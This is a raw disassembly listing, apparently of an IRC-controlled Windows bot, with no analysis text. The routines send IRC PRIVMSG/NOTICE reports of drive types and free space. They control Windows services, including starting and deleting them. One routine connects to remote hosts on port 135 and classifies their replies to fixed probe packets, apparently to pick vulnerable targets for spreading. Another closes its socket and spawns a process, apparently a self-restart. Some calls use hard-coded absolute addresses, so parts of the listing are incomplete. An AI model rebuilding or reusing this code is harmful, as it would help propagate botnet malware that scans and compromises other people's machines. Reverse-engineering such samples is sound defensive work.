		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40D5DF:				; CODE XREF: sub_40D5BA+5Bj
					; sub_40D5BA+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_4189C0
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_418A40
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_40D61D
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40D5DF
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40D5DF
; ---------------------------------------------------------------------------


loc_40D61D:				; CODE XREF: sub_40D5BA+4Bj
		dec	esi
		mov	eax, edi


loc_40D620:				; CODE XREF: sub_40D5BA+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40D62F
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40D620
; ---------------------------------------------------------------------------


loc_40D62F:				; CODE XREF: sub_40D5BA+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D5BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D639	proc near		; CODE XREF: sub_40D7E5+51p
					; sub_40D7E5+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_441418	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_40D67C
		dec	eax
		jz	short loc_40D676
		dec	eax
		dec	eax
		jz	short loc_40D670
		dec	eax
		jz	short loc_40D66A
		dec	eax
		jz	short loc_40D664
		dec	eax
		jz	short loc_40D65E
		mov	eax, offset word_42D4DC
		retn
; ---------------------------------------------------------------------------


loc_40D65E:				; CODE XREF: sub_40D639+1Dj
		mov	eax, offset off_42DD54
		retn
; ---------------------------------------------------------------------------


loc_40D664:				; CODE XREF: sub_40D639+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_40D66A:				; CODE XREF: sub_40D639+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40D670:				; CODE XREF: sub_40D639+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_40D676:				; CODE XREF: sub_40D639+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_40D67C:				; CODE XREF: sub_40D639+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_40D639	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D682	proc near		; CODE XREF: sub_40D6CA+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4412B4
		test	eax, eax
		jz	short loc_40D6B7
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_40D6B7:				; CODE XREF: sub_40D682+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6CA	proc near		; CODE XREF: sub_40BDAD+1F3p
					; sub_40D7E5+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40D682
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D7A2
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D7A2
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D7A2
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_418E00
		push	edx
		push	eax
		call	sub_40D5BA
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_418E00
		push	edx
		push	eax
		call	sub_40D5BA
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_418E00
		push	edx
		push	eax
		call	sub_40D5BA
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 18h
		pop	ebx
		jmp	short loc_40D7D1
; ---------------------------------------------------------------------------


loc_40D7A2:				; CODE XREF: sub_40D6CA+2Cj
					; sub_40D6CA+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_4173AC
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_4173AC
		add	esp, 18h


loc_40D7D1:				; CODE XREF: sub_40D6CA+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40D6CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D7E5	proc near		; CODE XREF: sub_40D8B7+17p
					; sub_40D8B7+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40D6CA
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4177D0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40D858
		push	ebx
		push	ebx
		call	sub_40D639
		pop	ecx
		push	eax
		push	offset unk_42DDB4
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 14h
		jmp	short loc_40D88C
; ---------------------------------------------------------------------------


loc_40D858:				; CODE XREF: sub_40D7E5+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40D639
		pop	ecx
		push	eax
		push	offset unk_42DD68
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41792A
		add	esp, 20h


loc_40D88C:				; CODE XREF: sub_40D7E5+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DC10
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40C4F7
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D7E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D8B7	proc near		; CODE XREF: sub_40F6F1+591Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40D8D8
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D7E5
		add	esp, 10h
		jmp	short loc_40D939
; ---------------------------------------------------------------------------


loc_40D8D8:				; CODE XREF: sub_40D8B7+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_441328	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_417BEE
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_441328	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40D930


loc_40D8FC:				; CODE XREF: sub_40D8B7+77j
		push	offset off_42DE00
		push	esi
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D91F
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D7E5
		add	esp, 10h


loc_40D91F:				; CODE XREF: sub_40D8B7+54j
		push	esi
		call	sub_417AF0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40D8FC


loc_40D930:				; CODE XREF: sub_40D8B7+43j
		push	edi
		call	sub_417C62
		pop	ecx
		pop	edi
		pop	esi


loc_40D939:				; CODE XREF: sub_40D8B7+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40D8B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D93C	proc near		; DATA XREF: ___:0040EC3Fo

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_446E1C
		call	dword_441450	; closesocket
		call	sub_417021
		call	dword_441318	; WSACleanup
		call	dword_441318	; WSACleanup
		mov	ebx, dword_421070
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417430
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417430
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43C63C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		nop
		call	near ptr 7C814EEAh
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 7C80B4CFh
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		nop
		call	near ptr 7C802367h
		test	eax, eax
		jz	short loc_40DA01
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42107C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40DA01:				; CODE XREF: sub_40D93C+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_4457C4
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		nop
		call	near ptr 7C81CDDAh
		pop	edi
		pop	esi
		pop	ebx
sub_40D93C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA24	proc near		; CODE XREF: sub_40DA5C+125p
					; sub_40DA5C+14Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		sub	edi, [ebp+arg_C]
		test	edi, edi
		jle	short loc_40DA52


loc_40DA35:				; CODE XREF: sub_40DA24+2Cj
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_418EB0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40DA58
		inc	esi
		cmp	esi, edi
		jl	short loc_40DA35


loc_40DA52:				; CODE XREF: sub_40DA24+Fj
		xor	al, al


loc_40DA54:				; CODE XREF: sub_40DA24+36j
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40DA58:				; CODE XREF: sub_40DA24+27j
		mov	al, 1
		jmp	short loc_40DA54
sub_40DA24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA5C	proc near		; CODE XREF: sub_403E35+8Bp
					; sub_403E35+174p ...

var_2010	= byte ptr -2010h
var_200E	= byte ptr -200Eh
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2010h
		call	sub_417B70
		mov	eax, [ebp+arg_4]
		push	esi
		dec	eax
		push	edi
		jz	short loc_40DA9D
		dec	eax
		jz	short loc_40DA7B
		dec	eax


loc_40DA75:				; CODE XREF: sub_40DA5C+57j
		xor	eax, eax


loc_40DA77:				; CODE XREF: sub_40DA5C+3Fj
					; sub_40DA5C+169j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DA7B:				; CODE XREF: sub_40DA5C+16j
		push	3
		push	1388h
		push	[ebp+arg_0]
		call	dword_4413F8	; inet_addr
		push	eax
		call	sub_407635
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		and	eax, 3
		jmp	short loc_40DA77
; ---------------------------------------------------------------------------


loc_40DA9D:				; CODE XREF: sub_40DA5C+13j
		push	6
		push	1
		push	2
		call	dword_441438	; socket
		mov	esi, eax
		or	edi, 0FFFFFFFFh
		cmp	esi, edi
		mov	[ebp+arg_4], esi
		jz	short loc_40DA75
		push	ebx
		xor	ebx, ebx
		push	10h
		lea	eax, [ebp+var_10]
		push	ebx
		push	eax
		call	sub_417430
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	87h
		call	dword_4413B8	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	sub_40AE95
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_441360	; connect
		cmp	eax, edi
		jz	loc_40DBB9
		push	ebx
		push	48h
		push	offset dword_42DE04
		push	esi
		call	dword_441408	; send
		cmp	eax, edi
		jz	loc_40DBB9
		mov	esi, 2000h
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4413D0	; recv
		cmp	eax, edi
		jz	loc_40DBB9
		cmp	[ebp+var_200E],	0Ch
		jnz	short loc_40DBB9
		push	ebx
		push	18h
		push	offset dword_42DE50
		push	[ebp+arg_4]
		call	dword_441408	; send
		cmp	eax, edi
		jz	short loc_40DBB9
		push	ebx
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		push	[ebp+arg_4]
		call	dword_4413D0	; recv
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_40DBB9
		cmp	[ebp+var_200E],	2
		jnz	short loc_40DBB9
		push	10h
		push	offset loc_42DE6C
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40DA24
		add	esp, 10h
		test	al, al
		jz	short loc_40DB99
		cmp	esi, 12Ch
		setnl	bl
		inc	ebx
		jmp	short loc_40DBB9
; ---------------------------------------------------------------------------


loc_40DB99:				; CODE XREF: sub_40DA5C+12Fj
		push	10h
		push	offset dword_42DE80
		lea	eax, [ebp+var_2010]
		push	esi
		push	eax
		call	sub_40DA24
		add	esp, 10h
		neg	al
		sbb	eax, eax
		and	eax, 3
		mov	ebx, eax


loc_40DBB9:				; CODE XREF: sub_40DA5C+9Bj
					; sub_40DA5C+B2j ...
		push	[ebp+arg_4]
		call	dword_441450	; closesocket
		mov	eax, ebx
		pop	ebx
		jmp	loc_40DA77
sub_40DA5C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBCA	proc near		; CODE XREF: sub_40F576+3Dp
					; sub_40F6F1+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_418BEF
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		leave
		retn
sub_40DBCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DC10	proc near		; CODE XREF: sub_401000+88p
					; sub_401447+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40DC2B
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40DC2B:				; CODE XREF: sub_40DC10+14j
		push	edi
		call	sub_417AF0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_417AF0
		push	[ebp+arg_8]
		sub	esi, eax
		lea	eax, [ebp+var_400]
		push	offset dword_42433C
		push	esi
		push	eax
		call	sub_41792A
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_42DE94
		push	eax
		call	sub_4173AC
		add	esp, 2Ch
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417AF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_441408	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40DCA9
		push	7D0h
		nop
		call	near ptr 7C802442h

locret_40DCA9:				; CODE XREF: sub_40DC10+8Cj
		leave
		retn
sub_40DC10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCAB	proc near		; CODE XREF: sub_40F6F1:loc_41180Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40DD10
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_42DEB8[esi]
		push	edi
		push	eax
		call	sub_40DD32
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40DCF3
		push	edi
		push	off_42DEB4[esi]
		mov	esi, offset dword_445E8C
		push	offset unk_42DFEC
		push	esi
		call	sub_4173AC
		add	esp, 10h
		jmp	short loc_40DD2D
; ---------------------------------------------------------------------------


loc_40DCF3:				; CODE XREF: sub_40DCAB+2Aj
		push	eax
		call	sub_40DDD4
		push	eax
		push	edi
		mov	esi, offset dword_445E8C
		push	offset unk_42DFB0
		push	esi
		call	sub_4173AC
		add	esp, 14h
		jmp	short loc_40DD2D
; ---------------------------------------------------------------------------


loc_40DD10:				; CODE XREF: sub_40DCAB+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_445E8C
		push	off_42DEB0[eax*4]
		push	offset unk_42DF78
		push	esi
		call	sub_4173AC
		add	esp, 0Ch


loc_40DD2D:				; CODE XREF: sub_40DCAB+46j
					; sub_40DCAB+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40DCAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DD32	proc near		; CODE XREF: sub_40DCAB+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4413AC	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40DD59
		nop
		call	near ptr 7C910331h
		mov	ebx, eax
		jmp	short loc_40DDCE
; ---------------------------------------------------------------------------


loc_40DD59:				; CODE XREF: sub_40DD32+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4412A0	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40DD79
		nop
		call	near ptr 7C910331h
		mov	ebx, eax
		jmp	short loc_40DDC6
; ---------------------------------------------------------------------------


loc_40DD79:				; CODE XREF: sub_40DD32+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40DDAC
		cmp	eax, 3
		jz	short loc_40DD9D
		jle	short loc_40DDBF
		cmp	eax, 6
		jg	short loc_40DDBF
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_441308	; ControlService
		jmp	short loc_40DDB3
; ---------------------------------------------------------------------------


loc_40DD9D:				; CODE XREF: sub_40DD32+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4412A8	; StartServiceA
		jmp	short loc_40DDB3
; ---------------------------------------------------------------------------


loc_40DDAC:				; CODE XREF: sub_40DD32+4Dj
		push	esi
		call	dword_44130C	; DeleteService


loc_40DDB3:				; CODE XREF: sub_40DD32+69j
					; sub_40DD32+78j
		test	eax, eax
		jnz	short loc_40DDBF
		nop
		call	near ptr 7C910331h
		mov	ebx, eax


loc_40DDBF:				; CODE XREF: sub_40DD32+54j
					; sub_40DD32+59j ...
		push	esi
		call	dword_4412BC	; CloseServiceHandle


loc_40DDC6:				; CODE XREF: sub_40DD32+45j
		push	edi
		call	dword_4412BC	; CloseServiceHandle
		pop	esi


loc_40DDCE:				; CODE XREF: sub_40DD32+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40DD32	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DDD4	proc near		; CODE XREF: sub_40DCAB+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40DE89
		jz	loc_40DE82
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40DE4C
		jz	short loc_40DE42
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40DE38
		dec	ecx
		dec	ecx
		jz	short loc_40DE2E
		dec	ecx
		jz	short loc_40DE24
		sub	ecx, 51h
		jz	short loc_40DE1A
		sub	ecx, 24h
		jnz	loc_40DEFF	; default
					; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE1A:				; CODE XREF: sub_40DDD4+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE24:				; CODE XREF: sub_40DDD4+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE2E:				; CODE XREF: sub_40DDD4+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE38:				; CODE XREF: sub_40DDD4+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE42:				; CODE XREF: sub_40DDD4+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE4C:				; CODE XREF: sub_40DDD4+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40DE7B
		dec	ecx
		jz	short loc_40DE74
		dec	ecx
		jz	short loc_40DE6D
		dec	ecx
		jnz	loc_40DEFF	; default
					; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE6D:				; CODE XREF: sub_40DDD4+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE74:				; CODE XREF: sub_40DDD4+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE7B:				; CODE XREF: sub_40DDD4+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE82:				; CODE XREF: sub_40DDD4+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DE89:				; CODE XREF: sub_40DDD4+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40DEFF ; default
					; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40DEEC
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40DEFF ; default
					; jumptable 0040DEA6 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40DF40[ecx]
		jmp	off_40DF18[ecx*4] ; switch jump


loc_40DEAD:				; DATA XREF: ___:off_40DF18o
		push	offset aTheSpecifiedDa ; jumptable 0040DEA6 case 7
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEB4:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheServiceDepe ; jumptable 0040DEA6 case 17
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEBB:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheServiceDe_0 ; jumptable 0040DEA6 case 10
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEC2:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheServiceHasB ; jumptable 0040DEA6 case 0
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEC9:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheSpecified_0 ; jumptable 0040DEA6 case 2
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DED0:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheServiceCoul ; jumptable 0040DEA6 case 11
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DED7:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheServiceHa_0 ; jumptable 0040DEA6 case 14
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEDE:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheRequested_1 ; jumptable 0040DEA6 case 3
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEE5:				; CODE XREF: sub_40DDD4+D2j
					; DATA XREF: ___:off_40DF18o
		push	offset aTheServiceHasN ; jumptable 0040DEA6 case 4
		jmp	short loc_40DEF1
; ---------------------------------------------------------------------------


loc_40DEEC:				; CODE XREF: sub_40DDD4+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40DEF1:				; CODE XREF: sub_40DDD4+41j
					; sub_40DDD4+4Bj ...
		push	offset dword_4457CC
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	short loc_40DF12
; ---------------------------------------------------------------------------


loc_40DEFF:				; CODE XREF: sub_40DDD4+36j
					; sub_40DDD4+89j ...
		push	eax		; default
